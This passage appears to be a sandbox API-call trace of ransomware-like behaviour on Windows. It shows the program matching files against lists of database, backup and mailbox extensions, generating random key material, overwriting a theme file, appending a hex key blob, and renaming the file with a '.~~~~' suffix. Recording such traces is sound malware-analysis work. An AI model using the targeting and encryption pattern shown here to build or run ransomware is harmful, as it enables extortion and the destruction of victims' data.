	[0084.302] lstrlenW (lpString=".txt") returned 4
	[0084.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".txt") returned 0x0
	[0084.302] lstrlenW (lpString=".mdt") returned 4
	[0084.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".mdt") returned 0x0
	[0084.302] lstrlenW (lpString=".BDB") returned 4
	[0084.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".BDB") returned 0x0
	[0084.302] lstrlenW (lpString=".eql") returned 4
	[0084.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".eql") returned 0x0
	[0084.302] lstrlenW (lpString=".DBF") returned 4
	[0084.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".DBF") returned 0x0
	[0084.302] lstrlenW (lpString=".EQL") returned 4
	[0084.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".EQL") returned 0x0
	[0084.302] lstrlenW (lpString=".FDB") returned 4
	[0084.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".FDB") returned 0x0
	[0084.302] lstrlenW (lpString=".EDB") returned 4
	[0084.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".EDB") returned 0x0
	[0084.302] lstrlenW (lpString=".DACPAC") returned 7
	[0084.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".DACPAC") returned 0x0
	[0084.302] lstrlenW (lpString=".VHD") returned 4
	[0084.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".VHD") returned 0x0
	[0084.302] lstrlenW (lpString=".DBV") returned 4
	[0084.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".DBV") returned 0x0
	[0084.302] lstrlenW (lpString=".dacpac") returned 7
	[0084.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".dacpac") returned 0x0
	[0084.302] lstrlenW (lpString=".sdf") returned 4
	[0084.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".sdf") returned 0x0
	[0084.303] lstrlenW (lpString=".accdb") returned 6
	[0084.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".accdb") returned 0x0
	[0084.303] lstrlenW (lpString=".DBX") returned 4
	[0084.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".DBX") returned 0x0
	[0084.303] lstrlenW (lpString=".MDT") returned 4
	[0084.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".MDT") returned 0x0
	[0084.303] lstrlenW (lpString=".SQB") returned 4
	[0084.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".SQB") returned 0x0
	[0084.303] lstrlenW (lpString=".vhd") returned 4
	[0084.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".vhd") returned 0x0
	[0084.303] lstrlenW (lpString=".bac") returned 4
	[0084.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".bac") returned 0x0
	[0084.303] lstrlenW (lpString=".mdf") returned 4
	[0084.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".mdf") returned 0x0
	[0084.303] lstrlenW (lpString=".BAK") returned 4
	[0084.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".BAK") returned 0x0
	[0084.303] lstrlenW (lpString=".BAC") returned 4
	[0084.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".BAC") returned 0x0
	[0084.303] lstrlenW (lpString=".dbs") returned 4
	[0084.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".dbs") returned 0x0
	[0084.303] lstrlenW (lpString=".vhdx") returned 5
	[0084.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".vhdx") returned 0x0
	[0084.303] lstrlenW (lpString=".NDF") returned 4
	[0084.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".NDF") returned 0x0
	[0084.303] lstrlenW (lpString=".dat") returned 4
	[0084.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".dat") returned 0x0
	[0084.303] lstrlenW (lpString=".DBS") returned 4
	[0084.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".DBS") returned 0x0
	[0084.303] lstrlenW (lpString=".CKP") returned 4
	[0084.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".CKP") returned 0x0
	[0084.303] lstrlenW (lpString=".edb") returned 4
	[0084.303] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".edb") returned 0x0
	[0084.303] lstrlenW (lpString=".PST") returned 4
	[0084.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".PST") returned 0x0
	[0084.304] lstrlenW (lpString=".dbf") returned 4
	[0084.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".dbf") returned 0x0
	[0084.304] lstrlenW (lpString=".SQL") returned 4
	[0084.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".SQL") returned 0x0
	[0084.304] lstrlenW (lpString=".pst") returned 4
	[0084.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".pst") returned 0x0
	[0084.304] lstrlenW (lpString=".dbv") returned 4
	[0084.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".dbv") returned 0x0
	[0084.304] lstrlenW (lpString=".SDF") returned 4
	[0084.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".SDF") returned 0x0
	[0084.304] lstrlenW (lpString=".dtxs") returned 5
	[0084.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".dtxs") returned 0x0
	[0084.304] lstrlenW (lpString=".db3") returned 4
	[0084.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".db3") returned 0x0
	[0084.304] lstrlenW (lpString=".OST") returned 4
	[0084.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".OST") returned 0x0
	[0084.304] lstrlenW (lpString=".dbx") returned 4
	[0084.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".dbx") returned 0x0
	[0084.304] lstrlenW (lpString=".DB3") returned 4
	[0084.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".DB3") returned 0x0
	[0084.304] lstrlenW (lpString=".DAT") returned 4
	[0084.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".DAT") returned 0x0
	[0084.304] lstrlenW (lpString=".VHDX") returned 5
	[0084.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".VHDX") returned 0x0
	[0084.304] lstrlenW (lpString=".ndf") returned 4
	[0084.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".ndf") returned 0x0
	[0084.304] lstrlenW (lpString=".DB") returned 3
	[0084.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".DB") returned 0x0
	[0084.304] lstrlenW (lpString=".sql") returned 4
	[0084.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".sql") returned 0x0
	[0084.304] lstrlenW (lpString=".MYD") returned 4
	[0084.304] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".MYD") returned 0x0
	[0084.305] lstrlenW (lpString=".DBT") returned 4
	[0084.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".DBT") returned 0x0
	[0084.305] lstrlenW (lpString=".ACCDB") returned 6
	[0084.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".ACCDB") returned 0x0
	[0084.305] lstrlenW (lpString=".fdb") returned 4
	[0084.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".fdb") returned 0x0
	[0084.305] lstrlenW (lpString=".bak") returned 4
	[0084.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".bak") returned 0x0
	[0084.305] lstrlenW (lpString=".myd") returned 4
	[0084.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".myd") returned 0x0
	[0084.305] lstrlenW (lpString=".DTXS") returned 5
	[0084.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".DTXS") returned 0x0
	[0084.305] lstrlenW (lpString=".ckp") returned 4
	[0084.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".ckp") returned 0x0
	[0084.305] lstrlenW (lpString=".dbt") returned 4
	[0084.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".dbt") returned 0x0
	[0084.305] lstrlenW (lpString=".db") returned 3
	[0084.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".db") returned 0x0
	[0084.305] lstrlenW (lpString=".TXT") returned 4
	[0084.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".TXT") returned 0x0
	[0084.305] lstrlenW (lpString=".MDF") returned 4
	[0084.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".MDF") returned 0x0
	[0084.305] lstrlenW (lpString=".bdb") returned 4
	[0084.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".bdb") returned 0x0
	[0084.305] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.305] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0084.306] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.306] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.306] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20429657790) returned 1
	[0084.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9c14e0b0, dwHighDateTime=0x1d60e1e)) 
	[0084.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9998
	[0084.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9998 | out: hHeap=0x300000) returned 1
	[0084.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808090
	[0084.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808090 | out: hHeap=0x300000) returned 1
	[0084.307] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0084.307] GetLastError () returned 0x0
	[0084.307] GetLastError () returned 0x0
	[0084.307] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0084.307] GetLastError () returned 0x0
	[0084.307] GetLastError () returned 0x0
	[0084.316] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffed212, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.317] WriteFile (in: hFile=0x120, lpBuffer=0x283ffe0*, nNumberOfBytesToWrite=0x12dee, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283ffe0*, lpNumberOfBytesWritten=0x26dfec0*=0x12dee, lpOverlapped=0x0) returned 1
	[0084.317] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ffe0 | out: hHeap=0x300000) returned 1
	[0084.317] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.317] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.317] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.317] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.318] CloseHandle (hObject=0x120) returned 1
	[0084.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6ff0
	[0084.318] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm.~~~~")) returned 1
	[0084.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6ff0 | out: hHeap=0x300000) returned 1
	[0084.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.318] GetLastError () returned 0x0
	[0084.319] RtlWakeConditionVariable () returned 0x365f70
	[0084.319] GetCurrentThreadId () returned 0x9cc
	[0084.319] GetCurrentThreadId () returned 0x9cc
	[0084.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0084.319] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f7388 | out: hHeap=0x300000) returned 1
	[0084.319] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9960 | out: hHeap=0x300000) returned 1
	[0084.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f7388
	[0084.319] lstrlenW (lpString=".scr") returned 4
	[0084.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".scr") returned 0x0
	[0084.319] lstrlenW (lpString=".cmd") returned 4
	[0084.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".cmd") returned 0x0
	[0084.319] lstrlenW (lpString=".dll") returned 4
	[0084.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".dll") returned 0x0
	[0084.319] lstrlenW (lpString=".bat") returned 4
	[0084.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".bat") returned 0x0
	[0084.319] lstrlenW (lpString=".cpl") returned 4
	[0084.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".cpl") returned 0x0
	[0084.319] lstrlenW (lpString=".sys") returned 4
	[0084.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".sys") returned 0x0
	[0084.319] lstrlenW (lpString=".msc") returned 4
	[0084.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".msc") returned 0x0
	[0084.319] lstrlenW (lpString=".com") returned 4
	[0084.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".com") returned 0x0
	[0084.319] lstrlenW (lpString=".lnk") returned 4
	[0084.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".lnk") returned 0x0
	[0084.320] lstrlenW (lpString=".msp") returned 4
	[0084.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".msp") returned 0x0
	[0084.320] lstrlenW (lpString=".pif") returned 4
	[0084.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".pif") returned 0x0
	[0084.320] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0084.452] lstrlenW (lpString=".sqb") returned 4
	[0084.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".sqb") returned 0x0
	[0084.452] lstrlenW (lpString=".ost") returned 4
	[0084.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".ost") returned 0x0
	[0084.452] lstrlenW (lpString=".txt") returned 4
	[0084.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".txt") returned 0x0
	[0084.452] lstrlenW (lpString=".mdt") returned 4
	[0084.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".mdt") returned 0x0
	[0084.452] lstrlenW (lpString=".BDB") returned 4
	[0084.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".BDB") returned 0x0
	[0084.452] lstrlenW (lpString=".eql") returned 4
	[0084.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".eql") returned 0x0
	[0084.453] lstrlenW (lpString=".DBF") returned 4
	[0084.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".DBF") returned 0x0
	[0084.453] lstrlenW (lpString=".EQL") returned 4
	[0084.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".EQL") returned 0x0
	[0084.453] lstrlenW (lpString=".FDB") returned 4
	[0084.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".FDB") returned 0x0
	[0084.453] lstrlenW (lpString=".EDB") returned 4
	[0084.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".EDB") returned 0x0
	[0084.453] lstrlenW (lpString=".DACPAC") returned 7
	[0084.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".DACPAC") returned 0x0
	[0084.453] lstrlenW (lpString=".VHD") returned 4
	[0084.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".VHD") returned 0x0
	[0084.453] lstrlenW (lpString=".DBV") returned 4
	[0084.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".DBV") returned 0x0
	[0084.453] lstrlenW (lpString=".dacpac") returned 7
	[0084.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".dacpac") returned 0x0
	[0084.453] lstrlenW (lpString=".sdf") returned 4
	[0084.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".sdf") returned 0x0
	[0084.453] lstrlenW (lpString=".accdb") returned 6
	[0084.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".accdb") returned 0x0
	[0084.453] lstrlenW (lpString=".DBX") returned 4
	[0084.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".DBX") returned 0x0
	[0084.453] lstrlenW (lpString=".MDT") returned 4
